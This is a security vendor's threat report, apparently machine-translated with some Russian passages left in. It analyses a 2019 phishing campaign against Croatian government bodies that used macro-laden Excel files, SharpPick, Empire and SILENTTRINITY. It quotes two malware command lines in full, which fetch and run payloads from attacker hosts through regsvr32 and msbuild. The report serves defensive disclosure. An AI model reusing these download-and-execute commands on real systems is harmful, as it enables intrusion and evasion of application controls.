IronPython on the side of evil: how we uncovered a cyberattack on public services in a European country
Our experts from the expert security center always keep abreast and monitor the emergence of new interesting and dangerous threats. That is how, in early April 2019, a targeted attack on the Croatian government was discovered. This report examined the chain of malware delivery to the victim’s computer, presented indicators of compromise, and noted the use of a new post-operational framework, which, according to our data, has never been used by attackers.
On April 2, 2019, during a routine monitoring of various resources for new malware, PT Expert Security Center experts discovered an unusual office document.
Figure 1. A malicious document
A sending notification was created in the MS Excel office application and saved in the old XLS format the day before (2019-04-01 16:28:07 (UTC)). Nevertheless, the available time stamp on the press (2018-07-25 00:12:30 (UTC)) indicates that the document was used back in 2018. We will return to this indirect symptom below.
It is noteworthy that the Comments field (which can be changed, including using the MS Excel application) contains a command in the Windows shell:
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
Figure 2. The Comments field with suspicious content
Figure 3. The contents of the Comments field in binary form
As a result of this command, the system creates a script in the Visual Basic language, which, when launched, will perform the following actions:
- connect a network resource using WebDAV technology,
- download and run the file of the next stage of infection using the legitimate system utility regsvr32.
When a network resource is connected via HTTP (S), an NTLM request is sent to the attacker server, with the help of which the NTLM hash can be restored. Then the received hash can be used for authorization on services on behalf of the victim. We did not find traces of such attacks, and the reasons for connecting a network resource remain unclear.
The technique of using regsvr32 (managing ActiveX controls) for malicious purposes is not new and even has a name - Squiblydoo. Attackers use it to comply with the requirements for controlling the launch of trusted programs, as well as to bypass anti-virus detection.
By itself, the text in the Comments field is harmless, and its execution must be somehow conditioned. When the victim opens the received Excel document, a Croatian-language trap message appears that convinces you to enable macros:
Figure 4. Trap message after opening the document
If macros are allowed, the user will see a fake notification of the package with the Croatian postal logo:
Figure 5. False notification of sending
In the meantime, using the macro, the script for the Comments field will be executed, and the script created in the system will be added to autoload:
Figure 6. Key macro logic
Curiously, the script being created is not triggered by a macro. Perhaps this is the intent of the attacker: the next stage of infection will occur after a system reboot and user login. We will return to this detail below.
Part of the scenario is interesting in its own way: a neat code structure with formatting, indentation and other nuances of markup can be a sign of using third-party code and even a program that allows you to create such documents automatically.
Figure 7. The supposedly borrowed part of the
Keyword Search macro provides many similar parts of the code on different resources. We are inclined to believe that the hacker simply found the appropriate program code and tweaked it a bit to perform the actions he needed:
Figure 8. Example of a similar macro on issuu.com
Figure 9. Example of a similar macro on stackoverflow.com
Figure 10. Example of a similar macro on dummies.com
Figure 11. The update.sct script downloaded from the attacker's server
It is worth noting that this code was also borrowed by the attacker on one of the public resources:
Figure 12. Example of similar code on rastamouse.me
Figure 13. Example of similar code on github.com
It does not seem that the hacker carefully delved into the logic of the tools used. For example, in the considered scriptlet, the setversion function is called, which does nothing. One example available on the web also looks.
The unpacked and launched object is an executable PE file on the .NET platform.
Figure 14. The header of the executable PE file.
Figure 15. Debug information of the SharpPick PE file.
As a result of compilation, the path to the project with the source code was saved. The -master suffix indicates that the project was previously cloned from the repository, and the SharpPick directory leads to a well-known application that allows you to download and execute PowerShell code without using the language interpreter directly, but using .NET dependencies.
Несмотря на доступность проекта утилиты SharpPick на GitHub, следует убедиться, что не были внесены существенные изменения.
Рисунок 16. Часть декомпилированного кода утилиты SharpPick
В результате декомпиляции был получен псевдокод, при выполнении которого декодируется из Base64 и запускается PowerShell-скрипт:
Рисунок 17. Частично преобразованный PowerShell-скрипт
После упрощения кода разобрать его логику не составляет особого труда:
- формируется объект для взаимодействия с веб-сервером с заданными значениями User-Agent, Cookie и настройками прокси;
- загружается полезная нагрузка по заданному адресу;
- результат расшифровывается алгоритмом RC4 с использованием заданного ключа и запускается.
Unfortunately, during our research, the management server was already unavailable. The data that was received from him earlier, we could not find. However, this time there is enough information on the Web (example: report of our colleagues from FireEye ) to unambiguously establish: the end link in this infection chain is Empire backdoor, a tool for remote administration of the victim’s computer as part of the Empire Framework post-operational framework.
Figure 18. Using a similar PowerShell script to attack vulnerabilities in WinRAR
Interestingly, other script patterns lead to an extensive article on penetration testing techniques with special attention to hiding the infrastructure of attackers behind proxy servers. The most likely source of information used by the attacker is an article by colleagues from Payatu Technologies, where they provide detailed instructions on redirecting sessions to legitimate resources, blocking unwanted packets, logging, and so on, including using Empire.
A few hours later, we found another document on the parcel. It has many similarities with the previous one: also found in Croatia (2019-04-02 16:52:56 (UTC)), has the same name and even a trap image about the received parcel. But still there are differences.
The malicious code is again located in the Comments field, but this time the logic of the actions has been changed.
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\22.214.171.124\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\126.96.36.199\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
- The network resource is connected using the SMB protocol.
- Download and launch the next stage of infection using msbuild, a legitimate utility of the .NET Framework package.
It is interesting that the webdav line is present in the address of the mounted directory, indirectly linking this case with the previous one. This time, an attack on the NTLM hash is still possible, although there is no evidence of its use. Again, a legitimate application (this time msbuild) is used to successfully bypass the restriction on launching third-party programs. Before we describe the technique of abuse, we mention the differences in the program code of the macro of a new document.
Attackers did not make significant changes to the logic of the VBA script. But it is worth noting that this time they not only provide automatic loading of the created VBS-script in the system, but also launch it when the document is opened. Most likely, in the previous case, the attackers simply forgot about it, and after some time, having discovered a mistake, they corrected it in the new version of the document.
Figure 19. Comparison of the macro code in two documents
The next stage of infection is an XML document that contains C # code. A feature of the msbuild utility allows you to compile and run the contained code on the fly, as evidenced by the comments left by the hacker at the beginning of the markup.
The Base64 buffer is again presented in the code, which will be decoded, decompressed by the Deflate algorithm, and launched. We believe that the reader already realizes that this time the attacker also used a freely accessible template, as evidenced by the mentioned comments and many sources on the Web with the same code.
Figure 20. The msbuild.xml task downloaded from the attacker's server
As a result, this time a PE file on the .NET platform will be loaded and executed into memory. And the debugging information contains not only a sign that the project was collected on a virtual machine (possibly in order to hide information about the attacker), but also the SILENTTRINITY directory, which we will dwell on in more detail.
Figure 21. Debug information of the SILENTTRINITY PE file
После изучения этих двух документов о посылке мы нашли еще два. И формат файла, и название, и картинка-ловушка с указанным регионом остались неизменными. Документы были доступны в конце августа 2018 года, что подтверждает гипотезу о долгосрочности кампании, о чем мы писали в начале отчета.
Любопытно, что в прошлом году хакеры не использовали поле «Комментарии», однако пустили в ход легитимные утилиты. Вредоносный компонент загружался с помощью утилиты для работы с сертификатами и выполнения криптографических операций certutil, а запуск обеспечивался инструментарием управления системой WMI:
Рисунок 22. Сравнение макросов документов 2018 года
К сожалению, за давностью произошедшего нам не удалось установить последующие звенья цепочки атак 2018 года.
It is also worth noting that part of the VBA script code remained unchanged, with the exception of deleted auxiliary comments explaining the logic of work.
Figure 23. Comparison of 2019 and 2018 macros
Search results for the SILENTTRINITY keyword from the debug information of the PE file can easily determine the origin of this attack link. In October 2018, Marcello Salvati (a researcher at Black Hills Information Security) posted a project called SILENTTRINITY on the popular GitHub repository. The main idea: to use the flexibility and advantages of the well-known post-operational PowerShell framework in the Python programming language Python, namely IronPython. The project is developing to this day.
We will not delve into the details of the work and implementation of the project (especially since the author spoke in detail about it in his report ). We will highlight only the basic logic of work and interesting points in the implementation.
After starting the PE-file (however, the intermediate link may be in a different format), the following occurs:
- access to the management server to download the ZIP archive with the necessary dependencies and the main Python script;
- archive contents are extracted without saving to disk;
- dependencies are registered for successful processing of Python scripts;
- The main Python script is launched, waiting for the task from the attacker;
- each task is transferred as a ready-made Python script;
- the task is performed on the victim side in a separate thread;
- the result of the work is transferred back to the management server.
Figure 24. SilentTrinity framework operation diagram
Among the features it is worth highlighting the following:
- Support for IronPython, including the Boo language (a subset of IronPython with strong data typing).
- All activity does not require disk space: dependencies, scripts, tasks are located in memory (fileless attack).
- Archive with dependencies, tasks, the result of the work of the teams - all communication between the victim and the hacker is encrypted with the AES algorithm.
- The shared key is generated by the Diffie-Hellman protocol.
- Network transport is provided at the level of the HTTP (S) protocol with proxy support.
Figure 25. An example of the user interface of the server side of the SilentTrinity framework
Interestingly, on the day of the attacks, the PE loader was uploaded to the VirusTotal service, where no anti-virus vendor identified it as malicious. This is not surprising: firstly, the binary file does not get to disk, and the signature detection does not make much sense; secondly, static detection is far from the only technology for protecting users.
Figure 26. The result of scanning the SilentTrinity bootloader on the day of the attacks.
In addition, a few days after the attack, the detection verdicts started to appear. It is important that during the period of the attacks, either the protective equipment was not yet equipped with detection algorithms, or the threat was not known in principle.
Figure 27. The actual result of scanning the SilentTrinity bootloader
Most likely, this was the reason for choosing this solution for carrying out attacks. We have no information that the SilentTrinity framework has already been used in malicious attacks before.
Infrastructure used by attackers
It is worth mentioning that the network infrastructure used by hackers is chronologically related to ongoing attacks.
Table 1. Information about the domains used as attacking servers.
Domains were created in such a way as to look like legitimate attacked resources. This allows users to gain trust in phishing attacks. Note that the resources involved are not limited to Croatia.
All domains are registered using WhoisGuard security technology. It allows you to hide the real information about the domain registrant in order to protect against spam, while attackers use this technology for anonymization.
Servers distributing and managing malware were leased from the Dutch provider Breezle.
All the available information about the nodes, addresses, and domains of the attackers with a lot of connections among themselves allows us to judge about the large volumes of malware that the attackers had this time. We do not exclude that in the campaign tools similar to those considered could be used and some cases of infection remained unsolved.
Figure 28. Graphical representation of an attacker's infrastructure
A day after the discovery of the documents in the news , a press release was issued with a link to the Croatian Department of Information Systems Security about targeted phishing attacks. Traces were found in several government bodies of the country. It is reported that emails were sent to the victims with a link to a phishing site from which it was proposed to download a malicious document from which our analysis began. This fills the missing links in the attack chain, and in the end we would like to pay attention to protection methods that can reduce the damage from such attacks:
- Monitoring and controlling the use of some trusted programs (certutil, regsvr32, msbuild, net, wmic ...)
- Checking and analyzing not only attachments in emails, but also web links
- Periodic scans of PC memory on a corporate network
- Successful connections to the C2 Silent Trinity (even under TLS) can be detected using PT Network Attack Discovery , in addition, in our repository we published detects for the community.
Posted by Alexey Vishnyakov, Positive Technologies
PS On this topic, the author also read a lecture at the Positive Hack Days 9 conference. Videos of this and other presentations are available at: www.phdays.com/en/broadcast/ .
Indicators of compromise: